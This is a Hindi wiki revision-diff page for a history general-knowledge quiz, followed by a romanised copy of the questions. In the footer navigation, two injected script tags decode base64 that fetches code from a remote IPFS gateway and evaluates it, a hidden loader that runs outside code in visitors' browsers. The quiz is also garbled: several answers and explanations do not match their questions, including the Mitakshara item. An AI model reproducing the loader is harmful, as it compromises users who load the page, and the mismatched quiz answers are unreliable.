Difference between revisions of "इतिहास सामान्य ज्ञान 32"

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+[[असीरगढ़]] विजय  
 
+[[असीरगढ़]] विजय  
 
-[[हल्दीघाटी|हल्दीघाटी का युद्ध]]
 
-[[हल्दीघाटी|हल्दीघाटी का युद्ध]]
||[[चित्र:Asirgarh-Fort.jpg|right|120px|असीरगढ़ क़िला]]सम्राट [[अकबर]] [[असीरगढ़]] की प्रसिद्धि सुनकर इस क़िले पर अपना अधिपत्य स्थापित करने के लिए व्याकुल हो रहा था। जैसे ही [[फ़ारूक़ी वंश|फ़ारूक़ी]] शासक 'बहादुरशाह' को इस बात की सूचना मिली, उसने अपनी सुरक्षा के लिए क़िले में ऐसी शक्तिशाली व्यवस्था की, कि दस वर्षों तक क़िला घिरा रहने पर भी बाहर से किसी वस्तु की आवश्यकता नहीं पड़ी। सम्राट अकबर ने 17 जनवरी, सन् 1601 ई. को असीरगढ़ के क़िले पर चढ़ाई की और उस पर विजय प्राप्त कर ली।{{point}}अधिक जानकारी के लिए देखें:-[[असीरगढ़]]  
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||[[चित्र:Asirgarh-Fort.jpg|right|120px|असीरगढ़ क़िला]] सम्राट [[अकबर]] असीरगढ़ की प्रसिद्धि सुनकर इस क़िले पर अपना अधिपत्य स्थापित करने के लिए व्याकुल हो रहा था। जैसे ही [[फ़ारूक़ी वंश|फ़ारूक़ी]] शासक 'बहादुरशाह' को इस बात की सूचना मिली, उसने अपनी सुरक्षा के लिए क़िले में ऐसी शक्तिशाली व्यवस्था की, कि दस वर्षों तक क़िला घिरा रहने पर भी बाहर से किसी वस्तु की आवश्यकता नहीं पड़ी। सम्राट अकबर ने 17 जनवरी, सन् 1601 ई. को असीरगढ़ के क़िले पर चढ़ाई की और उस पर विजय प्राप्त कर ली।{{point}}अधिक जानकारी के लिए देखें:-[[असीरगढ़]]  
  
 
{[[शिवाजी]] को 'राजा' की उपाधि किसने प्रदान की थी?
 
{[[शिवाजी]] को 'राजा' की उपाधि किसने प्रदान की थी?
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+[[औरंगजेब]] ने
 
+[[औरंगजेब]] ने
 
-[[जयसिंह|महाराजा जयसिंह ने]]
 
-[[जयसिंह|महाराजा जयसिंह ने]]
||[[चित्र:Darbarscene-Aurangzeb.jpg|right|120px|औरंगज़ेब का दरबार]]'जयपुर भवन' से फरार होने के बाद [[शिवाजी]] तीन वर्ष तक मुग़लों के साथ शांतिपूर्वक रहे। [[मुग़ल]] शासक [[औरंगज़ेब]] ने उन्हें राजा की उपाधि तथा [[बरार]] में एक जागीर प्रदान की, तथा उनके पुत्र [[शम्भुजी]] को 'पंचहज़ारी सरदार' के पद पर नियुक्ति किया। शिवाजी ने [[रायगढ़ महाराष्ट्र|रायगढ़]] में 16 जून, 1674 ई. को अपना राज्याभिषेक करवाकर ‘छत्रपति’ की उपाधि धारण की। 14 अप्रैल, 1680 ई. को उनकी मृत्यु के बाद उनका पुत्र शम्भुजी [[मराठा]] शासक बना।{{point}}अधिक जानकारी के लिए देखें:-[[औरंगजेब]]  
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||[[चित्र:Darbarscene-Aurangzeb.jpg|right|120px|औरंगज़ेब का दरबार]] 'जयपुर भवन' से फरार होने के बाद [[शिवाजी]] तीन वर्ष तक मुग़लों के साथ शांतिपूर्वक रहे। [[मुग़ल]] शासक [[औरंगज़ेब]] ने उन्हें राजा की उपाधि तथा [[बरार]] में एक जागीर प्रदान की तथा उनके पुत्र [[शम्भुजी]] को 'पंचहज़ारी सरदार' के पद पर नियुक्ति किया। शिवाजी ने [[रायगढ़ महाराष्ट्र|रायगढ़]] में 16 जून, 1674 ई. को अपना राज्याभिषेक करवाकर ‘छत्रपति’ की उपाधि धारण की। 14 अप्रैल, 1680 ई. को उनकी मृत्यु के बाद उनका पुत्र शम्भुजी [[मराठा]] शासक बना।{{point}}अधिक जानकारी के लिए देखें:-[[औरंगजेब]]  
  
 
{किस [[मराठा]] शासक के शासनकाल को [[पेशवा|पेशावाओं]] के शासनकाल के नाम से जाना जाता है।
 
{किस [[मराठा]] शासक के शासनकाल को [[पेशवा|पेशावाओं]] के शासनकाल के नाम से जाना जाता है।
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+[[शाहू]]
 
+[[शाहू]]
 
-[[शम्भुजी|शम्भाजी]]
 
-[[शम्भुजी|शम्भाजी]]
||[[बाजीराव प्रथम]] तथा [[बालाजी बाजीराव]] ने, जो क्रमश: द्वितीय तथा तृतीय [[पेशवा]] हुए, [[शाहू]] की शक्ति एवं सत्ता का उत्तरी तथा दक्षिणी [[भारत]] में विशेष विस्तार किया। वस्तुत: शाहू ने पेशवा का पद [[बालाजी विश्वनाथ]] के वंशजों को पैतृक रूप में दे दिया था और स्वयं राज्यकार्य में विशेष रुचि न लेकर शासन का समस्त भार पेशवाओं पर ही छोड़ दिया।{{point}}अधिक जानकारी के लिए देखें:-[[शाहू]]  
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||[[बाजीराव प्रथम]] तथा [[बालाजी बाजीराव]] ने, जो क्रमश: द्वितीय तथा तृतीय [[पेशवा]] हुए, [[शाहू]] की शक्ति एवं सत्ता का [[उत्तर भारत|उत्तरी]] तथा [[दक्षिण भारत|दक्षिणी भारत]] में विशेष विस्तार किया। वस्तुत: शाहू ने पेशवा का पद [[बालाजी विश्वनाथ]] के वंशजों को पैतृक रूप में दे दिया था और स्वयं राज्यकार्य में विशेष रुचि न लेकर शासन का समस्त भार पेशवाओं पर ही छोड़ दिया।{{point}} अधिक जानकारी के लिए देखें:-[[शाहू]]  
  
 
{मानव द्वारा सर्वप्रथम प्रयुक्त अनाज कौन-सा था?
 
{मानव द्वारा सर्वप्रथम प्रयुक्त अनाज कौन-सा था?
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+[[चावल]]
 
+[[चावल]]
 
-[[बाजरा]]
 
-[[बाजरा]]
||[[चित्र:Rice-Harvest.jpg|चावल की फ़सल|100px|right]]चावल धार्मिक दृष्टि से भी अत्यंत महत्त्वपूर्ण है। कोई भी [[पूजा]], [[यज्ञ]] आदि अनुष्ठान बिना [[चावल]] के पूर्ण नहीं हो सकता। चावल अर्थात 'अक्षत' का मतलब, जिसका क्षय नहीं हुआ है। शास्त्रों के अनुसार अक्षत ही एक ऐसा अनाज है, जिसे पूर्ण स्वरूप माना जाता है। पूर्ण स्वरूप होने के कारण इसे सभी देवी-[[देवता|देवताओं]] को अर्पित किया जाता है।{{point}}अधिक जानकारी के लिए देखें:-[[चावल]]
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||[[चित्र:Rice-Harvest.jpg|चावल की फ़सल|100px|right]]चावल धार्मिक दृष्टि से भी अत्यंत महत्त्वपूर्ण है। कोई भी [[पूजा]], [[यज्ञ]] आदि अनुष्ठान बिना [[चावल]] के पूर्ण नहीं हो सकता। चावल अर्थात 'अक्षत' का मतलब, जिसका क्षय नहीं हुआ है। शास्त्रों के अनुसार अक्षत ही एक ऐसा अनाज है, जिसे पूर्ण स्वरूप माना जाता है। पूर्ण स्वरूप होने के कारण इसे सभी देवी-[[देवता|देवताओं]] को अर्पित किया जाता है।{{point}} अधिक जानकारी के लिए देखें:-[[चावल]]
  
 
{[[हिन्दू]] विधि पर एक पुस्तक 'मिताक्षरा' किसने लिखी है?
 
{[[हिन्दू]] विधि पर एक पुस्तक 'मिताक्षरा' किसने लिखी है?
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+[[रामानन्द]]
 
+[[रामानन्द]]
 
-[[तुलसीदास]]
 
-[[तुलसीदास]]
||रामानंद संप्रदाय का नाम 'श्रीसंप्रदाय' तथा 'वैरागी संप्रदाय' भी है। इस संप्रदाय में आचार पर अधिक बल नहीं दिया जाता। कर्मकांड का महत्त्व यहाँ बहुत कम है। इस संप्रदाय के अनुयायी 'अवधूत' और 'तपसी' भी कहलाते हैं। [[रामानन्द]] के धार्मिक आंदोलन में जाति-पांति का भेद-भाव नहीं था। उनके शिष्यों में [[हिन्दू|हिंदुओं]] की विभिन्न जातियों के लोगों के साथ-साथ [[मुसलमान]] भी थे। [[भारत]] में रामानन्दी [[साधु|साधुओं]] की संख्या सर्वाधिक है।{{point}}अधिक जानकारी के लिए देखें:-[[रामानन्द]]
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||रामानंद संप्रदाय का नाम 'श्रीसंप्रदाय' तथा 'वैरागी संप्रदाय' भी है। इस संप्रदाय में आचार पर अधिक बल नहीं दिया जाता। कर्मकांड का महत्त्व यहाँ बहुत कम है। इस संप्रदाय के अनुयायी 'अवधूत' और 'तपसी' भी कहलाते हैं। रामानन्द के धार्मिक आंदोलन में जाति-पांति का भेद-भाव नहीं था। उनके शिष्यों में [[हिन्दू|हिंदुओं]] की विभिन्न जातियों के लोगों के साथ-साथ [[मुसलमान]] भी थे। [[भारत]] में रामानन्दी [[साधु|साधुओं]] की संख्या सर्वाधिक है।{{point}}अधिक जानकारी के लिए देखें:-[[रामानन्द]]
  
 
{निम्नलिखित में से किन शासकों के पास एक शक्तिशाली [[नौसेना]] थी?
 
{निम्नलिखित में से किन शासकों के पास एक शक्तिशाली [[नौसेना]] थी?
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-[[चेर वंश|चेर]]
 
-[[चेर वंश|चेर]]
 
-[[पल्लव वंश|पल्लव]]
 
-[[पल्लव वंश|पल्लव]]
||[[चित्र:Rajaraja mural-2.jpg|right|100px|राजा राजराजा चोल और गुरु (शिक्षक) करूवुरार]]चोलों की स्थायी सेना में पैदल, गजारोही, अश्वारोही आदि सैनिक शामिल होते थे। इनके पास एक बड़ी शक्तिशाली नौसेना रहती थी, जो [[राजराज प्रथम]] एवं [[राजेन्द्र प्रथम]] के समय में चरमोत्कर्ष पर थी। [[बंगाल की खाड़ी]] [[चोल]] नौसेना के कारण ही 'चोलों की झील' बन गई। 'बड़पेर्र कैककोलस' राजा की व्यक्तिगत सुरक्षा में तैनात पैदल दल को कहते थे, जबकि 'कुंजिर-मल्लर' गजारोही दल को, 'कुदिरैच्चैवगर' अश्वारोही दल को, 'बिल्लिगल' धनुर्धारी दल को कहा जाता था।{{point}}अधिक जानकारी के लिए देखें:-[[चोल]]
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||[[चित्र:Rajaraja mural-2.jpg|right|100px|राजा राजराजा चोल और गुरु (शिक्षक) करूवुरार]] चोलों की स्थायी सेना में पैदल, गजारोही, अश्वारोही आदि सैनिक शामिल होते थे। इनके पास एक बड़ी शक्तिशाली नौसेना रहती थी, जो [[राजराज प्रथम]] एवं [[राजेन्द्र प्रथम]] के समय में चरमोत्कर्ष पर थी। [[बंगाल की खाड़ी]] [[चोल]] नौसेना के कारण ही 'चोलों की झील' बन गई। 'बड़पेर्र कैककोलस' राजा की व्यक्तिगत सुरक्षा में तैनात पैदल दल को कहते थे, जबकि 'कुंजिर-मल्लर' गजारोही दल को, 'कुदिरैच्चैवगर' अश्वारोही दल को, 'बिल्लिगल' धनुर्धारी दल को कहा जाता था। {{point}} अधिक जानकारी के लिए देखें:-[[चोल]]
  
 
{'[[तुग़लक़नामा]]' के रचनाकार का नाम है-
 
{'[[तुग़लक़नामा]]' के रचनाकार का नाम है-
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+[[अमीर ख़ुसरो]]
 
+[[अमीर ख़ुसरो]]
 
-[[अलबेरूनी]]
 
-[[अलबेरूनी]]
||[[चित्र:Amir-Khusro.jpg|right|100px|अमीर ख़ुसरो]][[जलालुद्दीन ख़िलजी]] के हत्यारे उसके भतीजे [[अलाउद्दीन ख़िलजी]] ने भी सुल्तान होने पर [[अमीर ख़ुसरो]] को सम्मानित किया, और उन्हें राजकवि की उपाधि प्रदान की। अलाउद्दीन ख़िलजी की प्रशंसा में अमीर ख़ुसरो ने जो रचनाएँ कीं, वे अभूतपूर्व थीं। ख़ुसरो की अधिकांश रचनाएँ अलाउद्दीन ख़िलजी के राजकाल की ही हैं। [[तुग़लक़नामा]] अमीर ख़ुसरो द्वारा रचित अंतिम कृति है।{{point}}अधिक जानकारी के लिए देखें:-[[अमीर ख़ुसरो]]
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||[[चित्र:Amir-Khusro.jpg|right|100px|अमीर ख़ुसरो]] [[जलालुद्दीन ख़िलजी]] के हत्यारे उसके भतीजे [[अलाउद्दीन ख़िलजी]] ने भी सुल्तान होने पर [[अमीर ख़ुसरो]] को सम्मानित किया, और उन्हें राजकवि की उपाधि प्रदान की। अलाउद्दीन ख़िलजी की प्रशंसा में अमीर ख़ुसरो ने जो रचनाएँ कीं, वे अभूतपूर्व थीं। ख़ुसरो की अधिकांश रचनाएँ अलाउद्दीन ख़िलजी के राजकाल की ही हैं। [[तुग़लक़नामा]] अमीर ख़ुसरो द्वारा रचित अंतिम कृति है।{{point}} अधिक जानकारी के लिए देखें:-[[अमीर ख़ुसरो]]
  
 
{[[चोल]] काल में 'कडिमै' का अर्थ क्या था?
 
{[[चोल]] काल में 'कडिमै' का अर्थ क्या था?
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-बहुदेववाद
 
-बहुदेववाद
 
-[[अनीश्वरवाद]]
 
-[[अनीश्वरवाद]]
-अद्वैतवाद
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-[[अद्वैतवाद]]
||व्यावहारिक जीवन में [[एकेश्वरवाद]] की प्रधानता होते हुए भी पारमार्थिक और आध्यात्मिक अनुभूति की दृष्टि से इसका पर्यवसान अद्वैतवाद में होता है। 'अद्वैतवाद' अर्थात् मानव के व्यक्तित्व का विश्वात्मा में पूर्ण विलय। जागतिक सम्बन्ध से एकेश्वरवाद के कई रूप हैं। [[ब्रह्म समाज]] अधिकांशत: एकेश्वरवाद के सिद्धांत पर ही आधारित है।{{point}}अधिक जानकारी के लिए देखें:-[[एकेश्वरवाद]]
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||व्यावहारिक जीवन में एकेश्वरवाद की प्रधानता होते हुए भी पारमार्थिक और आध्यात्मिक अनुभूति की दृष्टि से इसका पर्यवसान अद्वैतवाद में होता है। 'अद्वैतवाद' अर्थात् मानव के व्यक्तित्व का विश्वात्मा में पूर्ण विलय। जागतिक सम्बन्ध से एकेश्वरवाद के कई रूप हैं। [[ब्रह्म समाज]] अधिकांशत: एकेश्वरवाद के सिद्धांत पर ही आधारित है।{{point}}अधिक जानकारी के लिए देखें:-[[एकेश्वरवाद]]
 
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{{Review-G}}

Revision as of 10:14, 29 November 2014

samany jnan prashnottari
rajyoan ke samany jnan


  1. REDIRECTsaancha:nilais vishay se sanbandhit lekh padhean:-
  2. REDIRECTsaancha:nila band itihas praangan, itihas kosh, aitihasik sthan kosh<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne par jaean
1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213| 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 224 | 225 | 226 | 227 | 228 | 229 | 230 | 231 | 232 | 233 | 234 | 235 | 236 | 237| 238 | 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | 247 | 248 | 249 | 250 | 251 | 252 | 253 | 254 | 255 | 256 | 257 | 258 | 259 | 260 | 261 | 262 | 263 | 264 | 265 | 266 | 267 | 268 | 269 | 270 | 271 | 272 | 273 | 274 | 275 | 276 | 277 | 278 | 279 | 280 | 281 | 282 | 283 | 284 | 285 | 286 | 287 | 288 | 289 | 290 | 291 | 292 | 293 | 294 | 295 | 296 | 297 | 298 | 299 | 300 | 301 | 302 | 303 | 304 | 305 | 306 | 307 | 308 | 309 | 310 | 311 | 312 | 313 | 314 | 315 | 316 | 317 | 318 | 319 | 320 | 321 | 322 | 323 | 324 | 325 | 326 | 327 | 328 | 329 | 330 | 331 | 332 | 333 | 334 | 335 | 336 | 337 | 338 | 339 | 340 | 341 | 342 | 343 | 344 | 345 | 346 | 347 | 348 | 349 | 350 | 351 | 352 | 353 | 354 | 355 | 356 | 357 | 358 | 359 | 360 | 361 | 362 | 363 | 364 | 365 | 366 | 367 | 368 | 369 | 370 | 371 | 372 | 373 | 374 | 375 | 376 | 377 | 378 | 379 | 380 | 381 | 382 | 383 | 384 | 385 | 386 | 387 | 388 | 389 | 390 | 391 | 392 | 393 | 394 | 395 | 396 | 397 | 398 | 399 | 400 | 401 | 402 | 403 | 404 | 405 | 406 | 407 | 408 | 409 | 410 | 411 | 412 | 413 | 414 | 415 | 416 | 417 | 418 | 419 | 420 | 421 | 422 | 423 | 424 | 425 | 426 | 427 | 428 | 429 | 430 | 431 | 432 | 433 | 434 | 435 | 436 | 437 | 438 | 439 | 440 | 441 | 442 | 443 | 444 | 445 | 446 | 447 | 448 | 449 | 450 | 451 | 452 | 453 | 454 | 455 | 456 | 457 | 458 | 459 | 460 | 461 | 462 | 463 | 464 | 465 | 466 | 467 | 468 | 469 | 470 | 471 | 472 | 473 | 474 | 475 | 476 | 477 | 478 | 479 | 480 | 481 | 482 | 483 | 484 | 485 | 486 | 487 | 488 | 489 | 490 | 491 | 492 | 493 | 494 | 495 | 496 | 497 | 498 | 499 | 500 | 501 | 502 | 503 | 504 | 505 | 506 | 507 | 508 | 509 | 510 | 511 | 512 | 513 | 514 | 515 | 516 | 517 | 518 | 519 | 520 | 521 | 522 | 523 | 524 | 525 | 526 | 527 | 528 | 529 | 530 | 531 | 532 | 533 | 534 | 535 | 536 | 537 | 538 | 539 | 540 | 541 | 542 | 543 | 544 | 545 | 546 | 547 | 548 | 549 | 550 | 551 | 552 | 553 | 554 | 555 | 556 | 557 | 558 | 559 | 560 | 561 | 562 | 563 | 564 | 565 | 566

1 akabar ka aantim vijay abhiyan kaun-sa tha?

malava vijay
gujarat vijay
asiragadh vijay
haldighati ka yuddh

2 shivaji ko 'raja' ki upadhi kisane pradan ki thi?

bijapur ke shasak ne
ahamadanagar ke shasak ne
aurangajeb ne
maharaja jayasianh ne

3 kis maratha shasak ke shasanakal ko peshavaoan ke shasanakal ke nam se jana jata hai.

rajaram
aurangazeb
shahoo
shambhaji

4 manav dvara sarvapratham prayukt anaj kaun-sa tha?

gehooan
jau
chaval
bajara

5 hindoo vidhi par ek pustak 'mitakshara' kisane likhi hai?

nayachandr
amoghavarsh
vijnaneshvar
kanban

6 nimnalikhit mean kis bhakti sant ne apane sandesh ke prachar ke lie sabase pahale hindi ka prayog kiya?

dadoo dayal
kabir
ramanand
tulasidas

7 nimnalikhit mean se kin shasakoan ke pas ek shaktishali nausena thi?

chol
paanndy
cher
pallav

9 chol kal mean 'kadimai' ka arth kya tha?

bhoorajasv/lagan
grih kar
charagah kar
jalashay kar

10 'brahm samaj' kis siddhaant par adharit hai?

ekeshvaravad
bahudevavad
anishvaravad
advaitavad

panne par jaean
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samany jnan prashnottari
rajyoan ke samany jnan


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